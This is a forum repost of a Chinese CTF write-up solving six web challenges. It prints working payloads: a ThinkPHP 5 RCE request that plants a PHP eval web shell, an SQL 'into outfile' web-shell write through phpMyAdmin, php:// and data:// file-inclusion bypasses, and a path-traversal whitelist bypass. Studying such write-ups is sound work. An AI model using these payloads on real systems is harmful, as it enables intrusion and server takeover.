搜索

[21366] 2020-11-01_Web解进阶题目思路（1~6）

文档创建者：s7ckTeam
浏览次数：7
最后更新：2025-01-18
2020-11-01_Web解进阶题目思路（1~6） W e b 解 进 阶 题 目 思 路 （ 1 ~ 6 ） L e m o n S e c   2 0 2 0 - 1 1 - 0 1 W e b 进 阶 题 目 一 、 b a b y _ w e b （ 难 度 ： 1 ） 二 、 T r a i n i n g - W W W - R o b o t s ( 难 度 ： 1 ） （ r o b o t s 协 议 ） 三 、 p h p _ r c e （ 难 度 ： 2 ） ( 注 入 ） 四 、 W e b _ p h p _ i n c l u d e （ 难 度 ： 2 ） （ 注 入 ） 方 法 一 ： s q l 注 入 一 句 话 方 法 二 ： 方 法 三 ： 五 、 w a r m u p   ( 难 度 ： 2 ） （ P H P 代 码 ） 六 、 i c s - 0 6 （ 难 度 ： 2 ） （ 爆 破 ） k a l i l i n u x 中 各 个 软 件 的 功 能 用 法 - - - - - 后 续 网 络 下 载 并 添 加 k a l i l i n u x 中 各 个 软 件 的 功 能 用 法 - - - - - 系 统 自 带 W e b 知 识 点 一 、 b a b y _ w e b （ 难 度 ： 1 ） 提 示 ： 想 想 初 始 页 面 是 哪 个 提 示 ： 想 想 初 始 页 面 是 哪 个 难 度 一 星 不 高 ， 看 在 刚 结 束 入 门 进 入 进 阶 ， 所 以 前 面 不 放 难 的 ， 那 我 们 也 将 就 不 用 脑 子 ， 提 示 是 初 始 页 面 ， 直 接 F 1 2 ： 没 f l a g , 猜 错 ， 那 就 抓 包 尝 试 s e n d   t o   r e p e a t e r : 结 束 二 、 T r a i n i n g - W W W - R o b o t s ( 难 度 ： 1 ） （ r o b o t s 协 议 ） 提 示 ： 无 提 示 ： 无
提 到 了 r o b o t s . t x t ， 那 就 进 入 r o b o t s . t x t 看 下 ： 又 出 现 了 一 个 f l 0 g . p h p 文 件 ， 并 且 禁 止 访 问 ？ 那 再 次 进 入 这 个 文 件 查 看 ： 成 功 三 、 p h p _ r c e （ 难 度 ： 2 ） ( 注 入 ） 提 示 ： 无 提 示 ： 无 直 接 点 击 几 个 连 接 ， 发 现 全 是 广 告 ， 没 什 么 有 用 的 信 息 = = 。 没 有 下 手 点 ， 而 根 据 题 目 r c e 知 道 可 能 和 什 么 漏 洞 有 关 ， 网 上 查 找 许 就 突 然 发 现 是 T h i n k P H P   5 . 1 版 本 的 漏 洞 问 题 ， 也 就 是 说 我 们 可 以 开 个 后 门 ， 查 找 了 一 下 方 法 ： 比 如 ： 通 过 长 途 代 码 注 入 实 行 p h p i n f o 语 句 ： 而 我 们 也 可 以 通 过 这 个 插 入 一 个 后 门 , 作 用 是 创 建 一 个 名 叫 m u m a . p h p 的 文 件 ， 后 门 密 码 是 1 2 3 4 5 （ 注 意 ： p h p 和 @ 之 间 一 定 要 有 空 格 ） ： 运 行 以 后 网 页 会 返 回 文 件 的 大 小 ： h t t p : / / 1 1 1 . 1 9 8 . 2 9 . 4 5 : 5 8 3 0 9 / i n d e x . p h p / ? s = i n d e x / t h i n k a p p / i n v o k e f u n c t i o n & f u n c t i o n = c a l l _ u s e r _ f u n c _ a r r a y & v a r s [ 0 ] = p h p i n f o & v a r s [ 1 ] [ ] = 1 h t t p : / / 1 1 1 . 1 9 8 . 2 9 . 4 5 : 5 8 3 0 9 / i n d e x . p h p / ? s = i n d e x / t h i n k a p p / i n v o k e f u n c t i o n & f u n c t i o n = c a l l _ u s e r _ f u n c _ a r r a y & v a r s [ 0 ] = f i l e _ p u t _ c o n t e n t s & v a r s [ 1 ] [ ] = m u m a . p h p & v a r s [ 1 ] [ ] = < ? p h p   @ e v a l ( $ _ P O S T [ 1 2 3 4 5 ] ) ; ? >
然 后 查 看 访 问 下 我 们 创 建 的 m u m a . p h p 文 件 ： 貌 似 没 报 错 ， 直 接 打 开 蚁 剑 指 向 插 入 的 文 件 ， 输 入 密 码 并 且 测 试 连 接 ： 开 始 进 去 根 目 录 找 f l a g 相 关 的 文 件 ： 成 功 四 、 W e b _ p h p _ i n c l u d e （ 难 度 ： 2 ） （ 注 入 ） 提 示 ： 无 提 示 ： 无 方 法 一 ： s q l 注 入 一 句 话 先 日 常 d i r s e a r c h . p y 检 索 一 下 ：
发 现 p h p m y a d m i n 文 件 ， 先 直 接 打 开 ， 尝 试 账 号 r o o t ， 密 码 为 空 的 管 理 员 身 份 进 入 ， 发 现 成 功 了 ： S Q L 注 入 一 句 话 ： l i n u x 默 认 默 认 t m p 是 可 写 目 录 是 可 写 目 录 即 在 路 径 / t m p / 路 径 创 建 一 个 m u m a . p h p 文 件 并 且 写 入 一 句 话 “ < ? p h p   e v a l _ P O S T [ ' 1 2 3 ' ] ? > ” ， 点 击 执 行 ： 打 开 蚁 剑 ， 连 接 这 个 地 址 中 我 们 插 入 的 文 件 ， 密 码 为 我 们 设 置 的 1 2 3 ： 连 接 成 功 后 ， 发 现 这 个 奇 怪 的 p h p 文 件 ， 打 开 既 是 密 钥 ： s e l e c t   " < ? p h p   @ e v a l ( $ _ P O S T [ ' 1 2 3 ' ] ) ; ? > "   i n t o   o u t f i l e   " / t m p / m u m a . p h p "
方 法 二 ： 相 比 于 上 一 步 无 脑 走 程 序 ， 这 次 我 们 对 p h p 代 码 进 行 解 析 ： 大 致 意 思 是 当 p a g e 的 值 中 有 p h p : / / 时 进 入 w h i l e 循 环 ， 并 且 在 循 环 中 把 p a g e 值 中 出 现 的 p h p : / / 替 换 成 空 格 。 那 么 p h p : / / 是 什 么 ？ 它 是 伪 协 议 的 一 种 ， 也 就 是 说 这 一 题 把 p h p : / / 伪 协 议 给 b a n 了 ， 但 是 仔 细 一 看 ， s t r s t r （ ） （ ）   函 数 是 要 区 分 大 小 写 的 ， 而 在 p h p 中 不 以 区 分 ， 则 可 以 用 P h p : / / 来 替 代 p h p : / / 绕 过 （ 反 正 随 便 有 几 个 大 写 就 行 ） ， 而 绕 过 以 后 可 以 靠 下 面 的 i n c l u d e ( ) 来 执 行 p a g e 中 的 代 码 ， 这 样 看 可 能 是 可 行 的 ， 则 赋 值 ： 其 作 用 是 ： 可 以 读 取 没 有 处 理 过 的 P O S T 数 据 （ 具 体 在 笔 记 ） 然 后 执 行 抓 包 s e n d   t o   r e p e a t e r ： 之 后 可 以 开 始 写 入 执 行 的 p h p 代 码 ， s e n t 后 发 现 f l 4 g i s i s i s h 3 r 3 . p h p 文 件 ： 重 新 修 改 下 需 要 执 行 的 代 码 内 容 s e n t ： 方 法 三 ： 使 用 另 一 个 伪 协 议 d a t a 来 绕 过 ： 具 体 用 法 为 ： ？ p a g e = d a t a : / / t e x t / p l a i n , + 命 令 语 言 找 到 文 件 后 ， 再 使 用 f i l e _ g e t _ c o n t e n t s 读 取 该 文 件 下 的 内 容 ： p a g e = P h p : / / i n p u t h t t p : / / 1 1 1 . 1 9 8 . 2 9 . 4 5 : 5 4 9 2 4 / ? p a g e = d a t a : / / t e x t / p l a i n , % 3 C ? p h p % 2 0 $ a _ c o d e % 2 0 = % 2 0 f i l e _ g e t _ c o n t e n t s ( % 2 7 f l 4 g i s i s i s h 3 r 3 . p h p % 2 7 ) ; e c h o % 2 0 h t m l s p e c i a l c h a r s ( $ a _ c o d e ) ? % 3 E
: 五 、 w a r m u p   ( 难 度 ： 2 ） （ P H P 代 码 ） 进 入 界 面 除 了 一 个 滑 稽 什 么 都 没 有 ， 查 看 源 码 发 现 有 个 提 示 为 s o u r c e . p h p 进 入 s o u r c e . p h p 以 后 发 现 源 码 ： 大 致 看 了 一 眼 看 到 h i n t . p h p ， 再 次 进 入 ： h t t p : / / 1 1 1 . 1 9 8 . 2 9 . 4 5 : 5 4 9 2 4 / ? p a g e = d a t a : / / t e x t / p l a i n , % 3 C ? p h p % 2 0 $ a _ c o d e % 2 0 = % 2 0 f i l e _ g e t _ c o n t e n t s ( % 2 7 f l 4 g i s i s i s h 3 r 3 . p h p % 2 7 ) ; e c h o % 2 0 h t m l s p e c i a l c h a r s ( $ a _ c o d e ) ? % 3 E
发 现 唯 一 的 线 索 只 是 f l a g 存 在 f f f f l l l l a a a a g g g g 中 ， 具 体 还 是 要 返 回 s o u r c e . p h p 解 读 源 码 。 全 部 源 码 ： 又 是 一 题 考 察 文 件 包 含 的 题 目 ， 那 么 这 题 最 终 就 是 如 何 给 中 的 f i l e 赋 值 的 问 题 。 首 先 f i l e 必 须 包 含 在 这 个 数 组 ， 即 前 提 赋 值 为 s o u r c e . p h p 或 者 h i n t . p h p ， 之 后 通 过 这 三 次 判 断 ， 使 得 值 返 回 t r u e ， 并 且 能 指 向 这 个 f f f f l l l l a a a a g g g g 文 件 : 测 试 证 明 以 下 均 可 正 确 执 行 ， （ 其 中 % 3 f 、 % 2 5 3 f 分 别 是 " ? " 的 一 次 u r l 、 两 次 u r l 加 密 ； 而 第 一 个 / 是 指 向 根 目 录 ， 之 后 一 堆 / … / … / … / 是 目 录 级 数 ， 可 以 有 多 个 都 没 关 系 ， 但 是 之 后 貌 似 有 说 f f f f l l l l a a a a g g g g 每 个 都 是 4 个 字 母 ， 即 提 示 是 4 级 目 录 ) ： ，   < ? p h p         h i g h l i g h t _ f i l e ( _ _ F I L E _ _ ) ;         c l a s s   e m m m {                 p u b l i c   s t a t i c   f u n c t i o n   c h e c k F i l e ( & $ p a g e ) {                     # 此 处 是 个 白 名 单 数 组 ， i s s e t ( ) 判 断 p a g e 是 否 为 空                         $ w h i t e l i s t   =   [ " s o u r c e " = > " s o u r c e . p h p " , " h i n t " = > " h i n t . p h p " ] ;                         i f   ( !   i s s e t ( $ p a g e )   | |   ! i s _ s t r i n g ( $ p a g e ) )   {                                 e c h o   " y o u   c a n ' t   s e e   i t " ;                                 r e t u r n   f a l s e ;                         }                                     # 第 一 次 判 断 p a g e 是 否 在 数 组 中                         i f   ( i n _ a r r a y ( $ p a g e ,   $ w h i t e l i s t ) )   {                                 r e t u r n   t r u e ;                         }                                     # _ p a g e 取 值 为 p a g e 中 " ？ " 前 面 的 部 分                         $ _ p a g e   =   m b _ s u b s t r (                                 $ p a g e ,                                 0 ,                                 m b _ s t r p o s ( $ p a g e   .   ' ? ' ,   ' ? ' )                         ) ;                                                 # 第 二 次 判 断 p a g e 是 否 在 数 组 中                         i f   ( i n _ a r r a y ( $ _ p a g e ,   $ w h i t e l i s t ) )   {                                 r e t u r n   t r u e ;                         }             # _ p a g e 取 值 为 p a g e 经 过 u r l 解 码 的 值 。 之 后 同 样 进 行 取 值 为 _ p a g e 中 " ？ " 前 面 的 部 分                         $ _ p a g e   =   u r l d e c o d e ( $ p a g e ) ;                         $ _ p a g e   =   m b _ s u b s t r (                                 $ _ p a g e ,                                 0 ,                                 m b _ s t r p o s ( $ _ p a g e   .   ' ? ' ,   ' ? ' )                         ) ;                           # 第 三 次 判 断 p a g e 是 否 在 数 组 中                         i f   ( i n _ a r r a y ( $ _ p a g e ,   $ w h i t e l i s t ) )   {                                 r e t u r n   t r u e ;                         }                         e c h o   " y o u   c a n ' t   s e e   i t " ;                         r e t u r n   f a l s e ;                 }         }         i f   ( !   e m p t y ( $ _ R E Q U E S T [ ' f i l e ' ] )                 & &   i s _ s t r i n g ( $ _ R E Q U E S T [ ' f i l e ' ] )                 & &   e m m m : : c h e c k F i l e ( $ _ R E Q U E S T [ ' f i l e ' ] )         )   {                 i n c l u d e   $ _ R E Q U E S T [ ' f i l e ' ] ;                 e x i t ;         }   e l s e   {                 e c h o   " < b r > < i m g   s r c = " h t t p s : / / i . l o l i . n e t / 2 0 1 8 / 1 1 / 0 1 / 5 b d b 0 d 9 3 d c 7 9 4 . j p g "   / > " ;         }     ? > i n c l u d e   $ _ R E Q U E S T [ ' f i l e ' ] h t t p : / / 1 1 1 . 1 9 8 . 2 9 . 4 5 : 3 5 9 5 3 / ? f i l e = s o u r c e . p h p ? / . . / . . / . . / . . / . . / f f f f l l l l a a a a g g g g h t t p : / / 1 1 1 . 1 9 8 . 2 9 . 4 5 : 3 5 9 5 3 / % 3 f f i l e = s o u r c e . p h p ? / . . / . . / . . / . . / . . / f f f f l l l l a a a a g g g g
， ， ， ， 六 、 i c s - 0 6 （ 难 度 ： 2 ） （ 爆 破 ） 提 示 提 示   ： 云 平 台 报 表 中 心 收 集 了 设 备 管 理 基 础 服 务 的 数 据 ， 但 是 数 据 被 删 除 了 ， 只 有 一 处 留 下 了 入 侵 者 的 痕 迹 。 纯 爆 破 = =   ， i d 值 从 1 到 1 0 0 0 0 爆 ， 久 的 一 ， 最 终 i d 值 为 2 3 3 3 . 一 如 既 往 的 学 习 ， 一 如 既 往 的 整 理 ， 一 如 即 往 的 分 享 。 感 谢 支 持 【 好 书 推 荐 】 【 好 书 推 荐 】 2 0 2 0 h w 系 列 文 章 整 理 （ 中 秋 快 乐 、 国 庆 快 乐 、 双 节 快 乐 ） H W 中 如 何 检 测 和 阻 止 D N S 隧 道 c t f 系 列 文 章 整 理 日 志 安 全 系 列 - 安 全 日 志 【 干 货 】 流 量 分 析 系 列 文 章 整 理 【 干 货 】 超 全 的   渗 透 测 试 系 列 文 章 整 理 【 干 货 】 持 续 性 更 新 - 内 网 渗 透 测 试 系 列 文 章 【 干 货 】 a n d r o i d 安 全 系 列 文 章 整 理 扫 描 关 注 扫 描 关 注 L e m o n S e c h t t p : / / 1 1 1 . 1 9 8 . 2 9 . 4 5 : 3 5 9 5 3 / % 3 f f i l e = s o u r c e . p h p ? / . . / . . / . . / . . / . . / f f f f l l l l a a a a g g g g h t t p : / / 1 1 1 . 1 9 8 . 2 9 . 4 5 : 3 5 9 5 3 / % 2 5 3 f f i l e = s o u r c e . p h p ? / . . / . . / . . / . . / . . / f f f f l l l l a a a a g g g g h t t p : / / 1 1 1 . 1 9 8 . 2 9 . 4 5 : 3 5 9 5 3 / ? f i l e = h i n t . p h p ? / . . / . . / . . / . . / . . / . . / f f f f l l l l a a a a g g g g h t t p : / / 1 1 1 . 1 9 8 . 2 9 . 4 5 : 3 5 9 5 3 / % 3 f f i l e = h i n t . p h p ? / . . / . . / . . / . . / . . / f f f f l l l l a a a a g g g g h t t p : / / 1 1 1 . 1 9 8 . 2 9 . 4 5 : 3 5 9 5 3 / % 2 5 3 f f i l e = h i n t . p h p ? / . . / . . / . . / . . / . . / f f f f l l l l a a a a g g g g
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理